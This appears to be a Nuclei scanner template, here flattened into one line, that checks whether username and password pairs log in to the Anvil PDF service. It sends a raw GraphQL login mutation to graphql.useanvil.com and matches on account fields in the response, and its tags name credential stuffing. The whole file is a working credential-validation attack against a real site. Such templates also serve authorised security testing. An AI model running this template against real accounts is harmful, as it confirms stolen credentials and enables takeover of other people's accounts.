id: avnil-pdf-generator-check info: name: useanvil.com Login Check author: parthmalhotra, pdresearch severity: critical description: Checks for a valid avnil pdf generator account. reference: - https://owasp.org/www-community/attacks/Credential_stuffing tags: login-check,avnil-pdf,creds-stuffing self-contained: true requests: - raw: - |- POST https://graphql.useanvil.com/ HTTP/1.1 Host: graphql.useanvil.com Content-Length: 367 Content-Type: application/json {"operationName":"LoginMutation","variables":{"email":"{{username}}","password":"{{password}}"},"query":"mutation LoginMutation($email: String, $password: String) {\n login(email: $email, password: $password) {\n eid\n firstName\n lastName\n email\n preferences {\n require2FA\n __typename\n }\n extra\n __typename\n }\n}\n"} extractors: - type: dsl dsl: - username - password matchers-condition: and matchers: - type: word part: body words: - '"email":"' - '"eid":"' - type: status status: - 200